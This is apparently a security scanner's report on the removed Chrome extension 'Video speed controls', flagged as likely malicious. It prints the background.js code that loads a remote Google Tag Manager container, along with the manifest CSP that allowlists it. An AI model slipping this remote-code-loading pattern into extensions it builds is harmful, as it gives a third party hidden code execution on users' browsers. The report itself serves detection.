Video speed controls

ID: dfbkneebffeaedbfokcgpdmfkaffcpnj

Could be malicious

Extension Info & Metadata

Status
Removed
Version
1.2.3
Size
0.43 MB
Rating
4.5/5
Reviews
107
Users
1,999,533
Type
Extension
Updated
Nov 13, 2020
Category
7_productivity
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
Jose ContrerasView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
1,999,533

Video speed controls - change playback speed while watching videos online.

With Video speed controls you can increase or decrease speed on any embed video. Features: - Change video speed to 0.5x, 1.5x, 2x, or 3x speed - Keyboard shortcuts and inline buttons - Works on all sites How to use the extension: 1) Use speed controls over the video 2) Or use shortcuts (case insensitive): R - default playback speed S - slow down D - increase speed 3) If you just installed an extension: refresh a page with video to enable functionality

Item
Type
Severity
Description
<all_urls>
Permission
Critical
This permission grants access to all websites without restriction. Rated High because it can access any web content, monitor all web activity, and potentially steal sensitive data across all sites.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 15% increase: Older manifest version lacks modern security controls
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
Older Manifest Version
Risk Factor
Medium
This extension uses Manifest Version 2

The background script dynamically injects a Google Tag Manager container (GTM-KVGBRL2) into the background page by replacing the first DOM child with a new script element pointing to the GTM endpoint. GTM is a known remote code execution vector — whoever controls this GTM container can push arbitrary JavaScript to run inside the extension's background page context at any time, without any extension update. This constitutes persistent remote code loading: the background page has access to chrome.storage and can relay instructions to content scripts injected on all URLs.

background.js (Line 13)
chrome.storage.local.get(null, (_) => {  top.dl = [{    'gtm.start': new Date().getTime(),    event: 'gtm.js'  }];  const prev = document.body.children[0];  const next = document.createElement(prev.tagName)  next.src = !!prev.datasrc || 'https://www.googletagmanager.com/gtm.js?id=GTM-KVGBRL2&l=dl';  prev.parentNode.replaceChild(next, prev);});

The extension's Content Security Policy explicitly whitelists `https://www.googletagmanager.com` and `https://www.google-analytics.com` as permitted script sources for the background and popup pages. This is the intentional allowlist that enables the GTM injection in background.js and signals deliberate design rather than accident. The wildcard `https://*.googleapis.com` further broadens the permitted script origin surface.

manifest.json (Line 27)
{  "content_security_policy": [    "script-src 'self' https://www.google-analytics.com https://www.googletagmanager.com https://*.googleapis.com",    "object-src 'self'"  ]}

The popup page loads Bootstrap CSS from an external CDN (stackpath.bootstrapcdn.com) rather than bundling it locally. While a Subresource Integrity hash is present, this still creates an external network dependency that reveals popup opens to a third-party CDN and could be intercepted if the CDN is ever compromised beyond the pinned hash. Given the GTM injection pattern in background.js, this external loading pattern is consistent with a broader strategy of relying on external infrastructure.

popup.html (Line 4)
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css"  integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous">

By severity

Critical1
High1
Medium1
Low2

Versions scanned

Showing 2 of 2 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
1.2.33
1.2.22

Files with findings

4 distinct paths — top paths by unique finding count:

  • popup.html2
  • background.js1
  • inject.js1
  • manifest.json1
S.No.
Category
Severity
File
Summary
Found in Version
1Remote Code Loading
critical
background.js (line 13)The background script dynamically injects a Google Tag Manager container (GTM-KVGBRL2) into the background page by replacing the first DOM child with a new script element pointing to the GTM endpoint. GTM is a known r…
2Remote Code Loading
high
manifest.json (line 27)The extension's Content Security Policy explicitly whitelists `https://www.googletagmanager.com` and `https://www.google-analytics.com` as permitted script sources for the background and popup pages. This is the inten…
3Other
medium
inject.js (line 1)The entire content script is wrapped inside the callback of `chrome.extension.sendMessage({}, callback)`, a deprecated API that sends an empty message to the extension's background page before any functionality execut…
4Tracking
low
popup.html (line 4)The popup page loads Bootstrap CSS from an external CDN (stackpath.bootstrapcdn.com) rather than bundling it locally. While a Subresource Integrity hash is present, this still creates an external network dependency th…
5Tracking
low
popup.html (line 4)The popup loads Bootstrap CSS from an external CDN (stackpath.bootstrapcdn.com) rather than bundling it locally. Every time any of the 2M users opens the extension popup, a network request is sent to a third-party ser…
URLs
79
IPv4
2
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

www.googletagmanager.com/gtm.jshttps://www.googletagmanager.com/gtm.js?id=GTM-KVGBRL2&l=dl
www.w3.org/1999/02/22-rdf-syntax-nshttp://www.w3.org/1999/02/22-rdf-syntax-ns#
ns.adobe.com/xap/1.0/http://ns.adobe.com/xap/1.0/
purl.org/dc/elements/1.1/http://purl.org/dc/elements/1.1/
ns.adobe.com/photoshop/1.0/http://ns.adobe.com/photoshop/1.0/
ns.adobe.com/xap/1.0/mm/http://ns.adobe.com/xap/1.0/mm/
ns.adobe.com/xap/1.0/sType/ResourceEventhttp://ns.adobe.com/xap/1.0/sType/ResourceEvent#
jquery.com-https://jquery.com/
sizzlejs.com-https://sizzlejs.com/
jquery.org/licensehttps://jquery.org/license
Showing 1 to 10 of 80 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

2.3.3.3
IPv4
-
2.3.3.1
IPv4
-
Version
Size
Is Malicious
Findings
Permhash
1.2.2
Latest
0.43 MB
Malicious
2
1.2.3
0.43 MB
Malicious
3
Showing 1 to 2 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.